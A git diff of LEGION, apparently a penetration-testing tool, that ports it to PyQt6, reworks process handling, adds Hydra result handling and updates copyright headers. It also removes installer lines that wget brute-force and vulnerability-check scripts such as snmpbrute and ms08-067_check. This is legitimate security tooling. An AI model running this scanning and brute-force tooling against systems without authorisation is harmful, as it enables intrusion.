modifiers = QtWidgets.QApplication.keyboardModifiers() # if the user pressed SHIFT+Right-click show full menu - if modifiers == QtCore.Qt.ShiftModifier: + if modifiers == QtCore.Qt.KeyboardModifier.ShiftModifier: serviceName='*' terminalActions = [] # custom terminal actions from settings file @@ -583,9 +588,9 @@ def getProcessesFromDB(self, filters, showProcesses='noNmap', sort='desc', ncol= #################### PROCESSES #################### def checkProcessQueue(self): - log.debug('# MAX PROCESSES: ' + str(self.settings.general_max_fast_processes)) - log.debug('# Fast processes running: ' + str(self.fastProcessesRunning)) - log.debug('# Fast processes queued: ' + str(self.fastProcessQueue.qsize())) + log.info('# MAX PROCESSES: ' + str(self.settings.general_max_fast_processes)) + log.info('# Fast processes running: ' + str(self.fastProcessesRunning)) + log.info('# Fast processes queued: ' + str(self.fastProcessQueue.qsize())) if not self.fastProcessQueue.empty(): self.processTableUiUpdateTimer.start(1000) @@ -593,15 +598,16 @@ def checkProcessQueue(self): next_proc = self.fastProcessQueue.get() if not self.logic.activeProject.repositoryContainer.processRepository.isCancelledProcess( str(next_proc.id)): - log.debug('Running: ' + str(next_proc.command)) + log.info('Running: ' + str(next_proc.command)) next_proc.display.clear() self.processes.append(next_proc) self.fastProcessesRunning += 1 # Add Timeout next_proc.waitForFinished(10) - next_proc.start(next_proc.command) + formattedCommand = formatCommandQProcess(next_proc.command) + next_proc.start(formattedCommand[0], formattedCommand[1]) self.logic.activeProject.repositoryContainer.processRepository.storeProcessRunningStatus( - next_proc.id, next_proc.pid()) + next_proc.id, getPid(next_proc)) elif not self.fastProcessQueue.empty(): log.debug('> next process was canceled, checking queue again..') self.checkProcessQueue() @@ -630,7 +636,7 @@ def killRunningProcesses(self): log.info('Killing running processes!') for p in self.processes: p.finished.disconnect() # experimental - self.killProcess(int(p.pid()), p.id) + self.killProcess(int(getPid(p)), p.id) # this function creates a new process, runs the command and takes care of displaying the ouput. returns the PID # the last 3 parameters are only used when the command is a staged nmap @@ -645,7 +651,7 @@ def handleProcStop(*vargs): def handleProcUpdate(*vargs): procTime = timer.elapsed() / 1000 - self.processMeasurements[qProcess.pid()] = procTime + self.processMeasurements[getPid(qProcess)] = procTime name = args[0] tabTitle = args[1] @@ -656,7 +662,7 @@ def handleProcUpdate(*vargs): startTime = args[6] outputfile = args[7] textbox = args[8] - timer = QtCore.QTime() + timer = QElapsedTimer() updateElapsed = QTimer() self.logic.createFolderForTool(name) @@ -669,7 +675,7 @@ def handleProcUpdate(*vargs): textbox.setProperty('dbId', str(processRepository.storeProcess(qProcess))) updateElapsed.start(1000) self.processTimers[qProcess.id] = updateElapsed - self.processMeasurements[qProcess.pid()] = 0 + self.processMeasurements[getPid(qProcess)] = 0 log.info('Queuing: ' + str(command)) self.fastProcessQueue.put(qProcess) @@ -681,13 +687,16 @@ def handleProcUpdate(*vargs): # while the process is running, when there's output to read, display it in the GUI self.updateUITimer.start(900) - qProcess.setProcessChannelMode(QtCore.QProcess.MergedChannels) + qProcess.setProcessChannelMode(QtCore.QProcess.ProcessChannelMode.MergedChannels) qProcess.readyReadStandardOutput.connect(lambda: qProcess.display.appendPlainText( str(qProcess.readAllStandardOutput().data().decode('ISO-8859-1')))) + qProcess.readyReadStandardError.connect(lambda: qProcess.display.appendPlainText( + str(qProcess.readAllStandardError().data().decode('ISO-8859-1')))) + qProcess.sigHydra.connect(self.handleHydraFindings) qProcess.finished.connect(lambda: self.processFinished(qProcess)) - qProcess.error.connect(lambda: self.processCrashed(qProcess)) + qProcess.errorOccurred.connect(lambda: self.processCrashed(qProcess)) log.info("runCommand called for stage {0}".format(str(stage))) if stage > 0 and stage < 6: # if this is a staged nmap, launch the next stage @@ -697,7 +706,7 @@ def handleProcUpdate(*vargs): lambda: self.runStagedNmap(str(hostIp), discovery=discovery, stage=nextStage, stop=processRepository.isKilledProcess(str(qProcess.id)))) - return qProcess.pid() # return the pid so that we can kill the process if needed + return getPid(qProcess) # return the pid so that we can kill the process if needed def runPython(self): textbox = self.view.createNewConsole("python") @@ -725,7 +734,7 @@ def runPython(self): self.updateUITimer.stop() # update the processes table self.updateUITimer.start(900) - qProcess.setProcessChannelMode(QtCore.QProcess.MergedChannels) + qProcess.setProcessChannelMode(QtCore.QProcess.ProcessChannelMode.MergedChannels) qProcess.readyReadStandardOutput.connect(lambda: qProcess.display.appendPlainText( str(qProcess.readAllStandardOutput().data().decode('ISO-8859-1')))) @@ -733,7 +742,7 @@ def runPython(self): qProcess.finished.connect(lambda: self.processFinished(qProcess)) qProcess.error.connect(lambda: self.processCrashed(qProcess)) - return qProcess.pid() + return getPid(qProcess) # recursive function used to run nmap in different stages for quick results def runStagedNmap(self, targetHosts, discovery = True, stage = 1, stop = False): @@ -742,6 +751,7 @@ def runStagedNmap(self, targetHosts, discovery = True, stage = 1, stop = False): if not stop: textbox = self.view.createNewTabForHost(str(targetHosts), 'nmap (stage ' + str(stage) + ')', True) outputfile = getNmapRunningFolder(runningFolder) + "/" + getTimestamp() + '-nmapstage' + str(stage) + outputfile = unixPath2Win(outputfile) if stage == 1: stageData = self.settings.tools_nmap_stage1_ports @@ -810,6 +820,8 @@ def processCrashed(self, proc): self.view.findFinishedServiceTab(str(processRepository.getPIDByProcessId(str(proc.id)))) log.info('Process {qProcessId} Output: {qProcessOutput}'.format(qProcessId=str(proc.id), qProcessOutput=qProcessOutput)) + log.info('Process {qProcessId} Crash Output: {qProcessOutput}'.format(qProcessId=str(proc.id), + qProcessOutput=proc.errorString())) # this function handles everything after a process ends # def processFinished(self, qProcess, crashed=False): @@ -820,12 +832,15 @@ def processFinished(self, qProcess): str(qProcess.id)): # if process was not killed if not qProcess.outputfile == '': # move tool output from runningfolder to output folder if there was an output file + outputfile = winPath2Unix(qProcess.outputfile) self.logic.toolCoordinator.saveToolOutput(self.logic.activeProject.properties.outputFolder, - qProcess.outputfile) - print(qProcess.command) + outputfile) if 'nmap' in qProcess.command: # if the process was nmap, use the parser to store it if qProcess.exitCode() == 0: # if the process finished successfully - newoutputfile = qProcess.outputfile.replace( + log.info("qProcess.outputfile {0}".format(str(outputfile))) + log.info("self.logic.activeProject.properties.runningFolder {0}".format(str(self.logic.activeProject.properties.runningFolder))) + log.info("self.logic.activeProject.properties.outputFolder {0}".format(str(self.logic.activeProject.properties.outputFolder))) + newoutputfile = outputfile.replace( self.logic.activeProject.properties.runningFolder, self.logic.activeProject.properties.outputFolder) self.nmapImporter.setFilename(str(newoutputfile) + '.xml') @@ -839,11 +854,11 @@ def processFinished(self, qProcess): self.pythonImporter.setHostIp(str(qProcess.hostIp)) self.pythonImporter.setPythonScript(pythonScript) self.pythonImporter.start() - exitCode = qProcess.exitCode() - if exitCode != 0 and exitCode != 255: - log.info("Process {qProcessId} exited with code {qProcessExitCode}" - .format(qProcessId=qProcess.id, qProcessExitCode=qProcess.exitCode())) - self.processCrashed(qProcess) + #exitCode = qProcess.exitCode() + #if exitCode != 0 and exitCode != 255: + # log.info("Process {qProcessId} exited with code {qProcessExitCode}" + # .format(qProcessId=qProcess.id, qProcessExitCode=qProcess.exitCode())) + # self.processCrashed(qProcess) log.info("Process {qProcessId} is done!".format(qProcessId=qProcess.id)) @@ -910,13 +925,13 @@ def runToolsFor(self, service, hostname, ip, port, protocol='tcp'): for a in self.settings.portActions: if tool[0] == a[1]: tabTitle = a[1] + " (" + port + "/" + protocol + ")" + # Cheese outputfile = self.logic.activeProject.properties.runningFolder + "/" + \ re.sub("[^0-9a-zA-Z]", "", str(tool[0])) + \ "/" + getTimestamp() + '-' + a[1] + "-" + ip + "-" + port command = str(a[2]) command = command.replace('[IP]', ip).replace('[PORT]', port)\ - .replace('[OUTPUT]', - outputfile) + .replace('[OUTPUT]', outputfile) log.debug("Running tool command " + str(command)) tab = self.view.ui.HostsTabWidget.tabText(self.view.ui.HostsTabWidget.currentIndex()) diff --git a/db/RepositoryContainer.py b/db/RepositoryContainer.py index 63777ed3..51077154 100644 --- a/db/RepositoryContainer.py +++ b/db/RepositoryContainer.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.com) -Copyright (c) 2022 GoVanguard +LEGION (https://gotham-security.com) +Copyright (c) 2023 Gotham Security This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -13,7 +13,7 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . -Author(s): Dmitriy Dubson (d.dubson@gmail.com) +Author(s): Shane Scott (sscott@gotham-security.com), Dmitriy Dubson (d.dubson@gmail.com) """ from typing import NamedTuple diff --git a/db/RepositoryFactory.py b/db/RepositoryFactory.py index e167323a..e3697a68 100644 --- a/db/RepositoryFactory.py +++ b/db/RepositoryFactory.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.com) -Copyright (c) 2022 GoVanguard +LEGION (https://gotham-security.com) +Copyright (c) 2023 Gotham Security This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -13,7 +13,7 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . -Author(s): Dmitriy Dubson (d.dubson@gmail.com) +Author(s): Shane Scott (sscott@gotham-security.com), Dmitriy Dubson (d.dubson@gmail.com) """ from db.RepositoryContainer import RepositoryContainer from db.SqliteDbAdapter import Database diff --git a/db/SqliteDbAdapter.py b/db/SqliteDbAdapter.py index f9e1a51f..c3fdf4cd 100644 --- a/db/SqliteDbAdapter.py +++ b/db/SqliteDbAdapter.py @@ -13,10 +13,10 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . -Author(s): Dmitriy Dubson (d.dubson@gmail.com) +Author(s): Shane Scott (sscott@gotham-security.com), Dmitriy Dubson (d.dubson@gmail.com) """ -from PyQt5.QtCore import QSemaphore +from PyQt6.QtCore import QSemaphore import time from random import randint diff --git a/db/database.py b/db/database.py index ade4d96d..5166f77e 100644 --- a/db/database.py +++ b/db/database.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.com) -Copyright (c) 2022 GoVanguard +LEGION (https://gotham-security.com) +Copyright (c) 2023 Gotham Security This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/db/entities/app.py b/db/entities/app.py index 62bcb66c..e0663887 100644 --- a/db/entities/app.py +++ b/db/entities/app.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.com) -Copyright (c) 2022 GoVanguard +LEGION (https://gotham-security.com) +Copyright (c) 2023 Gotham Security This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -13,7 +13,7 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . -Author(s): Dmitriy Dubson (d.dubson@gmail.com) +Author(s): Shane Scott (sscott@gotham-security.com), Dmitriy Dubson (d.dubson@gmail.com) """ from sqlalchemy import Column, String, ForeignKey, Integer diff --git a/db/entities/cve.py b/db/entities/cve.py index c7e18823..bc329043 100644 --- a/db/entities/cve.py +++ b/db/entities/cve.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.com) -Copyright (c) 2022 GoVanguard +LEGION (https://gotham-security.com) +Copyright (c) 2023 Gotham Security This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -13,7 +13,7 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . -Author(s): Dmitriy Dubson (d.dubson@gmail.com) +Author(s): Shane Scott (sscott@gotham-security.com), Dmitriy Dubson (d.dubson@gmail.com) """ from sqlalchemy import String, Column, Integer, ForeignKey diff --git a/db/entities/host.py b/db/entities/host.py index a02d1c07..be3a4b4e 100644 --- a/db/entities/host.py +++ b/db/entities/host.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.com) -Copyright (c) 2022 GoVanguard +LEGION (https://gotham-security.com) +Copyright (c) 2023 Gotham Security This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -13,7 +13,7 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . -Author(s): Dmitriy Dubson (d.dubson@gmail.com) +Author(s): Shane Scott (sscott@gotham-security.com), Dmitriy Dubson (d.dubson@gmail.com) """ from sqlalchemy import Column, String, Integer from sqlalchemy.orm import relationship diff --git a/db/entities/l1script.py b/db/entities/l1script.py index 8813563a..d55b25fd 100644 --- a/db/entities/l1script.py +++ b/db/entities/l1script.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.com) -Copyright (c) 2022 GoVanguard +LEGION (https://gotham-security.com) +Copyright (c) 2023 Gotham Security This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -13,7 +13,7 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . -Author(s): Dmitriy Dubson (d.dubson@gmail.com) +Author(s): Shane Scott (sscott@gotham-security.com), Dmitriy Dubson (d.dubson@gmail.com) """ from sqlalchemy import Column, String, Integer, ForeignKey diff --git a/db/entities/nmapSession.py b/db/entities/nmapSession.py index 92cf2936..dd354906 100644 --- a/db/entities/nmapSession.py +++ b/db/entities/nmapSession.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.com) -Copyright (c) 2022 GoVanguard +LEGION (https://gotham-security.com) +Copyright (c) 2023 Gotham Security This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -13,7 +13,7 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . -Author(s): Dmitriy Dubson (d.dubson@gmail.com) +Author(s): Shane Scott (sscott@gotham-security.com), Dmitriy Dubson (d.dubson@gmail.com) """ from sqlalchemy import String, Column diff --git a/db/entities/note.py b/db/entities/note.py index 4803193c..3ff192c9 100644 --- a/db/entities/note.py +++ b/db/entities/note.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.com) -Copyright (c) 2022 GoVanguard +LEGION (https://gotham-security.com) +Copyright (c) 2023 Gotham Security This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -13,7 +13,7 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . -Author(s): Dmitriy Dubson (d.dubson@gmail.com) +Author(s): Shane Scott (sscott@gotham-security.com), Dmitriy Dubson (d.dubson@gmail.com) """ from sqlalchemy import Column, Integer, ForeignKey, String diff --git a/db/entities/os.py b/db/entities/os.py index 7ec488b2..9c3a9bf4 100644 --- a/db/entities/os.py +++ b/db/entities/os.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.com) -Copyright (c) 2022 GoVanguard +LEGION (https://gotham-security.com) +Copyright (c) 2023 Gotham Security This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -13,7 +13,7 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . -Author(s): Dmitriy Dubson (d.dubson@gmail.com) +Author(s): Shane Scott (sscott@gotham-security.com), Dmitriy Dubson (d.dubson@gmail.com) """ from sqlalchemy import Integer, Column, String, ForeignKey diff --git a/db/entities/port.py b/db/entities/port.py index d5b433bd..8b99d9f8 100644 --- a/db/entities/port.py +++ b/db/entities/port.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.com) -Copyright (c) 2022 GoVanguard +LEGION (https://gotham-security.com) +Copyright (c) 2023 Gotham Security This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -13,7 +13,7 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . -Author(s): Dmitriy Dubson (d.dubson@gmail.com) +Author(s): Shane Scott (sscott@gotham-security.com), Dmitriy Dubson (d.dubson@gmail.com) """ from sqlalchemy import Integer, Column, String, ForeignKey diff --git a/db/entities/process.py b/db/entities/process.py index 6f716437..8d6c563a 100644 --- a/db/entities/process.py +++ b/db/entities/process.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.com) -Copyright (c) 2022 GoVanguard +LEGION (https://gotham-security.com) +Copyright (c) 2023 Gotham Security This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -13,7 +13,7 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . -Author(s): Dmitriy Dubson (d.dubson@gmail.com) +Author(s): Shane Scott (sscott@gotham-security.com), Dmitriy Dubson (d.dubson@gmail.com) """ from sqlalchemy import Column, String, Integer from sqlalchemy.orm import relationship diff --git a/db/entities/processOutput.py b/db/entities/processOutput.py index 2649cbe5..e74add51 100644 --- a/db/entities/processOutput.py +++ b/db/entities/processOutput.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.com) -Copyright (c) 2022 GoVanguard +LEGION (https://gotham-security.com) +Copyright (c) 2023 Gotham Security This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -13,7 +13,7 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . -Author(s): Dmitriy Dubson (d.dubson@gmail.com) +Author(s): Shane Scott (sscott@gotham-security.com), Dmitriy Dubson (d.dubson@gmail.com) """ from sqlalchemy import Column, Integer, ForeignKey, String diff --git a/db/entities/service.py b/db/entities/service.py index f1b36b2f..e7d7c748 100644 --- a/db/entities/service.py +++ b/db/entities/service.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.com) -Copyright (c) 2022 GoVanguard +LEGION (https://gotham-security.com) +Copyright (c) 2023 Gotham Security This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -13,7 +13,7 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . -Author(s): Dmitriy Dubson (d.dubson@gmail.com) +Author(s): Shane Scott (sscott@gotham-security.com), Dmitriy Dubson (d.dubson@gmail.com) """ from sqlalchemy import String, Column, Integer, ForeignKey from sqlalchemy.orm import relationship diff --git a/db/filters.py b/db/filters.py index 83b4028f..7a3a38db 100644 --- a/db/filters.py +++ b/db/filters.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.com) -Copyright (c) 2022 GoVanguard +LEGION (https://gotham-security.com) +Copyright (c) 2023 Gotham Security This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -13,7 +13,7 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . -Author(s): Dmitriy Dubson (d.dubson@gmail.com) +Author(s): Shane Scott (sscott@gotham-security.com), Dmitriy Dubson (d.dubson@gmail.com) """ from db.validation import sanitise diff --git a/db/postgresDbAdapter.py b/db/postgresDbAdapter.py index 383518f2..8eab647c 100644 --- a/db/postgresDbAdapter.py +++ b/db/postgresDbAdapter.py @@ -13,10 +13,10 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . -Author(s): Dmitriy Dubson (d.dubson@gmail.com) +Author(s): Shane Scott (sscott@gotham-security.com), Dmitriy Dubson (d.dubson@gmail.com) """ -from PyQt5.QtCore import QSemaphore +from PyQt6.QtCore import QSemaphore import time from random import randint diff --git a/db/repositories/CVERepository.py b/db/repositories/CVERepository.py index 104c4e81..0cff77bb 100644 --- a/db/repositories/CVERepository.py +++ b/db/repositories/CVERepository.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.com) -Copyright (c) 2022 GoVanguard +LEGION (https://gotham-security.com) +Copyright (c) 2023 Gotham Security This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -13,7 +13,7 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . -Author(s): Dmitriy Dubson (d.dubson@gmail.com) +Author(s): Shane Scott (sscott@gotham-security.com), Dmitriy Dubson (d.dubson@gmail.com) """ from db.SqliteDbAdapter import Database diff --git a/db/repositories/HostRepository.py b/db/repositories/HostRepository.py index 1c711f22..fd5d3f4c 100644 --- a/db/repositories/HostRepository.py +++ b/db/repositories/HostRepository.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.com) -Copyright (c) 2022 GoVanguard +LEGION (https://gotham-security.com) +Copyright (c) 2023 Gotham Security This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -13,7 +13,7 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . -Author(s): Dmitriy Dubson (d.dubson@gmail.com) +Author(s): Shane Scott (sscott@gotham-security.com), Dmitriy Dubson (d.dubson@gmail.com) """ from app.auxiliary import Filters from db.SqliteDbAdapter import Database diff --git a/db/repositories/NoteRepository.py b/db/repositories/NoteRepository.py index fef040f5..cb25e1cd 100644 --- a/db/repositories/NoteRepository.py +++ b/db/repositories/NoteRepository.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.com) -Copyright (c) 2022 GoVanguard +LEGION (https://gotham-security.com) +Copyright (c) 2023 Gotham Security This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -13,7 +13,7 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . -Author(s): Dmitriy Dubson (d.dubson@gmail.com) +Author(s): Shane Scott (sscott@gotham-security.com), Dmitriy Dubson (d.dubson@gmail.com) """ from db.SqliteDbAdapter import Database from six import u as unicode diff --git a/db/repositories/PortRepository.py b/db/repositories/PortRepository.py index 7b2b91ad..654c5309 100644 --- a/db/repositories/PortRepository.py +++ b/db/repositories/PortRepository.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.com) -Copyright (c) 2022 GoVanguard +LEGION (https://gotham-security.com) +Copyright (c) 2023 Gotham Security This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -13,7 +13,7 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . -Author(s): Dmitriy Dubson (d.dubson@gmail.com) +Author(s): Shane Scott (sscott@gotham-security.com), Dmitriy Dubson (d.dubson@gmail.com) """ from db.SqliteDbAdapter import Database from db.entities.l1script import l1ScriptObj diff --git a/db/repositories/ProcessRepository.py b/db/repositories/ProcessRepository.py index f03bc3f8..fb5f1b79 100644 --- a/db/repositories/ProcessRepository.py +++ b/db/repositories/ProcessRepository.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.com) -Copyright (c) 2022 GoVanguard +LEGION (https://gotham-security.com) +Copyright (c) 2023 Gotham Security This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -13,7 +13,7 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . -Author(s): Dmitriy Dubson (d.dubson@gmail.com) +Author(s): Shane Scott (sscott@gotham-security.com), Dmitriy Dubson (d.dubson@gmail.com) """ from typing import Union @@ -24,7 +24,6 @@ from db.entities.process import process from db.entities.processOutput import process_output - class ProcessRepository: def __init__(self, dbAdapter: Database, log): self.dbAdapter = dbAdapter @@ -54,7 +53,13 @@ def getProcesses(self, filters, showProcesses: Union[str, bool] = 'noNmap', sort def storeProcess(self, proc): p_output = process_output() - p = process(str(proc.pid()), str(proc.name), str(proc.tabTitle), + + #p = process(str(proc.pid()), str(proc.name), str(proc.tabTitle), + # str(proc.hostIp), str(proc.port), str(proc.protocol), + # unicode(proc.command), proc.startTime, "", str(proc.outputfile), + # 'Waiting', [p_output], 100, 0) + + p = process(str("0"), str(proc.name), str(proc.tabTitle), str(proc.hostIp), str(proc.port), str(proc.protocol), unicode(proc.command), proc.startTime, "", str(proc.outputfile), 'Waiting', [p_output], 100, 0) diff --git a/db/repositories/ScriptRepository.py b/db/repositories/ScriptRepository.py index 5df3ff93..540a48ed 100644 --- a/db/repositories/ScriptRepository.py +++ b/db/repositories/ScriptRepository.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.com) -Copyright (c) 2022 GoVanguard +LEGION (https://gotham-security.com) +Copyright (c) 2023 Gotham Security This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -13,7 +13,7 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . -Author(s): Dmitriy Dubson (d.dubson@gmail.com) +Author(s): Shane Scott (sscott@gotham-security.com), Dmitriy Dubson (d.dubson@gmail.com) """ from db.SqliteDbAdapter import Database diff --git a/db/repositories/ServiceRepository.py b/db/repositories/ServiceRepository.py index 99d92756..108d2044 100644 --- a/db/repositories/ServiceRepository.py +++ b/db/repositories/ServiceRepository.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.com) -Copyright (c) 2022 GoVanguard +LEGION (https://gotham-security.com) +Copyright (c) 2023 Gotham Security This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -13,7 +13,7 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . -Author(s): Dmitriy Dubson (d.dubson@gmail.com) +Author(s): Shane Scott (sscott@gotham-security.com), Dmitriy Dubson (d.dubson@gmail.com) """ from app.auxiliary import Filters from db.SqliteDbAdapter import Database diff --git a/db/validation.py b/db/validation.py index cf0fcb63..cb4b9ae2 100644 --- a/db/validation.py +++ b/db/validation.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.com) -Copyright (c) 2022 GoVanguard +LEGION (https://gotham-security.com) +Copyright (c) 2023 Gotham Security This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -13,7 +13,7 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . -Author(s): Dmitriy Dubson (d.dubson@gmail.com) +Author(s): Shane Scott (sscott@gotham-security.com), Dmitriy Dubson (d.dubson@gmail.com) """ diff --git a/deps/Kali-2018.sh b/deps/Kali-2018.sh old mode 100644 new mode 100755 diff --git a/deps/Kali-2018WSL.sh b/deps/Kali-2018WSL.sh old mode 100644 new mode 100755 diff --git a/deps/Kali-2019.sh b/deps/Kali-2019.sh old mode 100644 new mode 100755 diff --git a/deps/Kali-2019WSL.sh b/deps/Kali-2019WSL.sh old mode 100644 new mode 100755 diff --git a/deps/Parrot-4.5.sh b/deps/Parrot-4.5.sh old mode 100644 new mode 100755 diff --git a/deps/Parrot-4.5WSL.sh b/deps/Parrot-4.5WSL.sh old mode 100644 new mode 100755 diff --git a/deps/Parrot-4.6.sh b/deps/Parrot-4.6.sh old mode 100644 new mode 100755 diff --git a/deps/Parrot-4.6WSL.sh b/deps/Parrot-4.6WSL.sh old mode 100644 new mode 100755 diff --git a/deps/Ubuntu-16.sh b/deps/Ubuntu-16.sh old mode 100644 new mode 100755 diff --git a/deps/Ubuntu-16WSL.sh b/deps/Ubuntu-16WSL.sh old mode 100644 new mode 100755 diff --git a/deps/Ubuntu-18.sh b/deps/Ubuntu-18.sh old mode 100644 new mode 100755 diff --git a/deps/Ubuntu-18WSL.sh b/deps/Ubuntu-18WSL.sh old mode 100644 new mode 100755 diff --git a/deps/Unknown.sh b/deps/Unknown.sh old mode 100644 new mode 100755 diff --git a/deps/UnknownWSL.sh b/deps/UnknownWSL.sh old mode 100644 new mode 100755 diff --git a/deps/apt.sh b/deps/apt.sh old mode 100644 new mode 100755 diff --git a/deps/buildPython36.sh b/deps/buildPython36.sh old mode 100644 new mode 100755 diff --git a/deps/detectOs.sh b/deps/detectOs.sh old mode 100644 new mode 100755 diff --git a/deps/detectPython.sh b/deps/detectPython.sh old mode 100644 new mode 100755 diff --git a/deps/detectScripts.sh b/deps/detectScripts.sh old mode 100644 new mode 100755 index 667f4260..af9be128 --- a/deps/detectScripts.sh +++ b/deps/detectScripts.sh @@ -3,68 +3,26 @@ echo "Checking for additional Sparta scripts..." curPath=`pwd` -if [ -a scripts/smbenum.sh ] - then - echo "smbenum.sh is already installed" -else - wget -v -P scripts/ https://raw.githubusercontent.com/GoVanguard/sparta-scripts/master/smbenum.sh -fi - -if [ -a scripts/snmpbrute.py ] - then - echo "snmpbrute.py is already installed" -else - wget -v -P scripts/ https://raw.githubusercontent.com/GoVanguard/sparta-scripts/master/snmpbrute.py -fi - -if [ -a scripts/ms08-067_check.py ] - then - echo "ms08-067_check.py is already installed" -else - wget -v -P scripts/ https://raw.githubusercontent.com/GoVanguard/sparta-scripts/master/ms08-067_check.py -fi - -if [ -a scripts/rdp-sec-check.pl ] - then - echo "rdp-sec-check.pl is already installed" -else - wget -v -P scripts/ https://raw.githubusercontent.com/GoVanguard/sparta-scripts/master/rdp-sec-check.pl -fi - -if [ -a scripts/ndr.py ] - then - echo "ndr.py is already installed" -else - wget -v -P scripts/ https://raw.githubusercontent.com/GoVanguard/sparta-scripts/master/ndr.py -fi - -if [ -a scripts/installDeps.sh ] - then - echo "installDeps.sh is already installed" -else - wget -v -P scripts/ https://raw.githubusercontent.com/GoVanguard/sparta-scripts/master/installDeps.sh -fi - -if [ -a scripts/snmpcheck.rb ] - then - echo "snmpcheck.rb is already installed" -else - wget -v -P scripts/ https://raw.githubusercontent.com/GoVanguard/sparta-scripts/master/snmpcheck.rb -fi - -if [ -a scripts/smtp-user-enum.pl ] - then - echo "smtp-user-enum.pl is already installed" -else - wget -v -P scripts/ https://raw.githubusercontent.com/GoVanguard/sparta-scripts/master/smtp-user-enum.pl -fi - -if [ -a scripts/CloudFail/cloudfail.py ] - then - echo "Cloudfail has been found" -else - git clone https://github.com/m0rtem/CloudFail.git 